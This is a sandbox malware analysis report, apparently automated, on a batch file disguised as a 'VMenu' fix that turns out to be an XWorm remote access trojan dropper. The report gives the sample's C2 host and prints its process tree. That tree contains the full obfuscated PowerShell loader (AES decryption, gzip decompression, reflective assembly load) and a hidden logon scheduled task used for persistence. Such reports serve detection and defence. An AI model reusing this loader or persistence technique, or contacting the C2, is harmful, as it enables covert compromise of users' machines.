Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/03/2025, 03:53

General

  • Target

    VMenu3.121 fix (1).bat

  • Size

    527KB

  • MD5

    3d1653ee332959fc6ea17400cdb636bd

  • SHA1

    3a75f6b73477b63300bc1065caaa7c9af066b6b4

  • SHA256

    fdb0641302824a729dcdbf6235a60a7661ee14951f82cc486cf0a874e8c38e1e

  • SHA512

    6eaaf2c0cd2322dcb9fcd71d030afaabaf13b0ed881fafe8db569da5cb2e196147045105067b3d5dc9aa80d2c61d44d6f063b82c74f6954b5bb956e4597e0b06

  • SSDEEP

    6144:BLG0TmgMe4wGS6I4LjSAeEP3xI0r+/nBkJgrICpdZGz2LDpb5uZ8OaE2i88tmKb4:BCZgMe46AeSBHoBigr3ZnLjmsi4xq/G

Malware Config

Extracted

Family

xworm

C2

operates-rna.with.playit.plus:4377

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    XClient2.0.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VMenu3.121 fix (1).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:740
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3620
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:5084
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FUnCUHbp7bZ3aDt7EaVZSvFYhobW2XMUVK66Zb99X4Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7RSYmNKHEzHJb8J9Ope6aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FmbNL=New-Object System.IO.MemoryStream(,$param_var); $RglAC=New-Object System.IO.MemoryStream; $acWbi=New-Object System.IO.Compression.GZipStream($FmbNL, [IO.Compression.CompressionMode]::Decompress); $acWbi.CopyTo($RglAC); $acWbi.Dispose(); $FmbNL.Dispose(); $RglAC.Dispose(); $RglAC.ToArray();}function execute_function($param_var,$param2_var){ $IsgCr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WIgyd=$IsgCr.EntryPoint; $WIgyd.Invoke($null, $param2_var);}$coheU = 'C:\Users\Admin\AppData\Local\Temp\VMenu3.121 fix (1).bat';$host.UI.RawUI.WindowTitle = $coheU;$MuzzS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($coheU).Split([Environment]::NewLine);foreach ($rWFCs in $MuzzS) { if ($rWFCs.StartsWith('AXBwvMvJcDRzRiGDBjAF')) { $FODgs=$rWFCs.Substring(20); break; }}$payloads_var=[string[]]$FODgs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        2⤵
          PID:32
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3064
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_581_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_581.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2744
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_581.vbs"
            3⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:4052
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_581.bat" "
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3552
              • C:\Windows\system32\net.exe
                net file
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:516
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 file
                  6⤵
                    PID:3708
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FUnCUHbp7bZ3aDt7EaVZSvFYhobW2XMUVK66Zb99X4Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7RSYmNKHEzHJb8J9Ope6aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FmbNL=New-Object System.IO.MemoryStream(,$param_var); $RglAC=New-Object System.IO.MemoryStream; $acWbi=New-Object System.IO.Compression.GZipStream($FmbNL, [IO.Compression.CompressionMode]::Decompress); $acWbi.CopyTo($RglAC); $acWbi.Dispose(); $FmbNL.Dispose(); $RglAC.Dispose(); $RglAC.ToArray();}function execute_function($param_var,$param2_var){ $IsgCr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WIgyd=$IsgCr.EntryPoint; $WIgyd.Invoke($null, $param2_var);}$coheU = 'C:\Users\Admin\AppData\Roaming\Windows_Log_581.bat';$host.UI.RawUI.WindowTitle = $coheU;$MuzzS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($coheU).Split([Environment]::NewLine);foreach ($rWFCs in $MuzzS) { if ($rWFCs.StartsWith('AXBwvMvJcDRzRiGDBjAF')) { $FODgs=$rWFCs.Substring(20); break; }}$payloads_var=[string[]]$FODgs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                  5⤵
                    PID:316
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                    5⤵
                    • Blocklisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:4688
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VClient3.11.bat" "
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4968
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C13MerJf76R1DFIOGLoO10xEJRdtouLHDV1tgJ/4w50='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('See+TWm/7iu6WCsg7gNt1g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $snUzJ=New-Object System.IO.MemoryStream(,$param_var); $lTkza=New-Object System.IO.MemoryStream; $UKwbD=New-Object System.IO.Compression.GZipStream($snUzJ, [IO.Compression.CompressionMode]::Decompress); $UKwbD.CopyTo($lTkza); $UKwbD.Dispose(); $snUzJ.Dispose(); $lTkza.Dispose(); $lTkza.ToArray();}function execute_function($param_var,$param2_var){ $Oejaz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xiCYv=$Oejaz.EntryPoint; $xiCYv.Invoke($null, $param2_var);}$TAeoL = 'C:\Users\Admin\AppData\Local\Temp\VClient3.11.bat';$host.UI.RawUI.WindowTitle = $TAeoL;$Cruwh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($TAeoL).Split([Environment]::NewLine);foreach ($luPpZ in $Cruwh) { if ($luPpZ.StartsWith('afBvfWMFjSuStgRofcsT')) { $RHTbA=$luPpZ.Substring(20); break; }}$payloads_var=[string[]]$RHTbA.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                        7⤵
                          PID:3404
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                          7⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:916

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              3KB

              MD5

              661739d384d9dfd807a089721202900b

              SHA1

              5b2c5d6a7122b4ce849dc98e79a7713038feac55

              SHA256

              70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

              SHA512

              81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

              Filesize

              2KB

              MD5

              005bc2ef5a9d890fb2297be6a36f01c2

              SHA1

              0c52adee1316c54b0bfdc510c0963196e7ebb430

              SHA256

              342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

              SHA512

              f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

            • C:\Users\Admin\AppData\Local\Temp\VClient3.11.bat

              Filesize

              422KB

              MD5

              869440ffbff098f2805f2bc6ddd1a9f5

              SHA1

              85bac325a849358f534772363d8d3b5b7f7e91c7

              SHA256

              18baa5efa951d971177b202c4e92aea450f1fd7ed13b5c629e3d68340fd0a4e9

              SHA512

              5754c683da58fc952f804eff82cf4aedc4fdd2ea9e38a1c534ae4b894f58926ffdd13645ed781ad4fdc7318e705a03ec67edc47dc90a0619056618d18df3815a

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ltdz0pfg.0ih.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Roaming\Windows_Log_581.bat

              Filesize

              527KB

              MD5

              3d1653ee332959fc6ea17400cdb636bd

              SHA1

              3a75f6b73477b63300bc1065caaa7c9af066b6b4

              SHA256

              fdb0641302824a729dcdbf6235a60a7661ee14951f82cc486cf0a874e8c38e1e

              SHA512

              6eaaf2c0cd2322dcb9fcd71d030afaabaf13b0ed881fafe8db569da5cb2e196147045105067b3d5dc9aa80d2c61d44d6f063b82c74f6954b5bb956e4597e0b06

            • C:\Users\Admin\AppData\Roaming\Windows_Log_581.vbs

              Filesize

              115B

              MD5

              0eec667070b5ef4eb62ba4fd08d5cbe7

              SHA1

              20951bbfa75baac02f03b2aed542663dab7b480a

              SHA256

              cdf1e4a92c7af5bddfb9745a98e0659bc1aeba6d650c1e0dde00fed7507bf0b4

              SHA512

              cd08ddc2e8bed6aa078456db06bc39c1cb3455e8662b2ee7aa7840195650bc26ea1393faf72ec8efccc63490b18d5a5b0a972e18e2cc788828a55cdd7ef05874

            • memory/3064-12-0x00007FF9A0E10000-0x00007FF9A18D1000-memory.dmp

              Filesize

              10.8MB

            • memory/3064-15-0x000001BEB04F0000-0x000001BEB04F8000-memory.dmp

              Filesize

              32KB

            • memory/3064-16-0x000001BEB07A0000-0x000001BEB0820000-memory.dmp

              Filesize

              512KB

            • memory/3064-14-0x000001BEB0820000-0x000001BEB0896000-memory.dmp

              Filesize

              472KB

            • memory/3064-13-0x000001BEB0750000-0x000001BEB0794000-memory.dmp

              Filesize

              272KB

            • memory/3064-0-0x00007FF9A0E13000-0x00007FF9A0E15000-memory.dmp

              Filesize

              8KB

            • memory/3064-11-0x00007FF9A0E10000-0x00007FF9A18D1000-memory.dmp

              Filesize

              10.8MB

            • memory/3064-51-0x00007FF9A0E10000-0x00007FF9A18D1000-memory.dmp

              Filesize

              10.8MB

            • memory/3064-1-0x000001BEB0330000-0x000001BEB0352000-memory.dmp

              Filesize

              136KB

            • memory/4688-48-0x00000275E7710000-0x00000275E7768000-memory.dmp

              Filesize

              352KB